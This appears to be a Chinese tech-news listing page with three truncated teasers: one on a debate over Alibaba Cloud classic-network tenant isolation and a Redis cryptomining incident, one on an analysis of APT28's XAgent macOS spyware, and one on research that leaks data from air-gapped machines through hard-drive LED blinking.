这两天阿里云经典网络安全性的讨论得到了IT圈广泛关注，对此事还未或略有耳闻的吃瓜群众，不妨随扒爷一起全程围观一下吧。阿里云不同租户不隔离？2月24日，微博@一乐在微博中提到了阿里云的安全隐患：Cloudflare搞了个大事，这里顺便也提醒大家。千万不要单独评估一个安全漏洞的危害，只要它能干不应该干的事情，就要警惕。我们前几天也上了一课，一个比特币挖矿程序利用Redis本地提权的漏洞，把我们一个小集群的缓存机器都搞掉了。虽然漏洞刚出的时候，大家还都在说跟自己没关系，我们的Redis都限制内网访问，但是架不住安全组设置错误，这些机器暴露给了其他阿里云用户，也就是说主要某个阿里云邻居用户被黑，他都可以通过扫描进入我们的系统。问题发现的也很奇葩，这个病毒程序太霸道，它会直接把受影响的Redis权限改掉，导致前端无法访问，这触发了我们的主从自动切换，然后被管理员发现了。他要是偷偷运行，估计还可以潜伏好久（我可不是给他出主意[二哈]）大家要是感兴趣，这里有个人写过一个类似遭遇知名技术博主@左耳朵耗子在其微博下进行了简单的回复，不晓引发了热议。直到2月26日，@左耳朵耗子 又针对这个话题发表文章《科普一下公有云的网络》质疑阿里云的安全策略。文中称，阿里云的内网使用的是经典网络，在这种环境下，不同的租户是可以互通的，这会带来严重的安全隐患。为了应对这一问题，阿里云采用了安全组。安全组是AWS的Se ...继续阅读 (87)

近日，MacOS平台首次出现了XAgent的病毒样本。XAgent家族是由俄罗斯知名黑客团队APT28开发的间谍软件，具备反调试，键盘记录，下载文件和加密通信等恶意能力，在各种主流操作系统中都有样本出现，在近年来的黑客入侵事件中扮演了重要的角色。本文首先对APT28的背景进行解读，然后从技术角度深度分析该间谍软件，从挖掘出的病毒特征证实该样本出自APT28之手。最后提供了YARA规则用于判定此类病毒。1. APT28解读APT28被证实是俄罗斯政府支持的组织[4]，该组织由经验丰富的开发人员和黑客组成，主要收集国防和地缘政治方面的情报，该组织相关攻击时间最早可以追溯到 2007 年。APT28间谍活动主要针对美国、欧洲和前苏联国家，包括政府和军事单位、国防机构、媒体以及与俄罗斯当局持不同政见者。通过分析APT28之前所使用的恶意软件(Sofacy和XAgent)，能够体会到这个黑客组织的在技术上的强大之处。早在2014年，APT28组织就使用了两段式攻击手法。即首先使用感染性强的Sofacy,在Windows平台广泛撒网，利用word和PDF漏洞，使用邮件附件进行传播。当受害者中毒之后，会采集感染者的信息，筛选出高价值的感染者之后，再在第二阶段释放技术含量更高的XAgent病毒。如下示意图展示了两段式攻击，这样做的好处是，最大程度的隐藏APT28所使用的攻击技术，让针对APT28的 ...继续阅读 (75)

你可能从未想过，有一天硬盘指示灯也会出卖你的信息…很多时候人们会把存储机密信息或者承载关键设备运行的系统进行物理隔离来确保安全。然而道高一尺，魔高一丈，攻击者总会想出办法进行针对性的破解窃密，比如之前就有过利用风扇或硬盘的噪音来将信息发送到附近的智能手机的攻击案例。最近，来自以色列本-古里安大学的一项实验显示，硬盘的LED指示灯竟然也可以被黑客利用！这些指示灯本来是设计以显示硬盘的工作状态的…恭喜边信道攻击（查看之前的报道）家族又添一新成员！又一种有趣的边信道攻击这些极富创意的研究人员最先是发现他们可以通过恶意程序控制LED指示灯闪烁二进制的信号，一些小型的硬盘LED甚至可以做到每秒闪6000次。这些信号可以搭载4000bps的数据——足够传递密码、密钥和文件了。除了满足传输速率的要求，他们研制的恶意程序还可以控制LED循环闪烁，确保接收者没有遗漏任何信息。而且这么做的另一个好处是——低调。本来在用户使用电脑时，无论是访问硬盘做读或写的操作，硬盘指示灯闪烁都是一件很正常的事情。这点比起那些依靠屏幕或者键盘灯来打信号的手段可要先进多了。主导本次实验的Mordechai Guri如此评价：“硬盘的LED闪烁是很常见的事，受害者一般并不会多加怀疑。”那么如何接收LED闪出来的信号呢？一般来说一个摄像头或者光学传感器就能解决问题。在本次试验中，他们选取了无人机作为接收信号的手段，使得他们可 ...继续阅读 (70)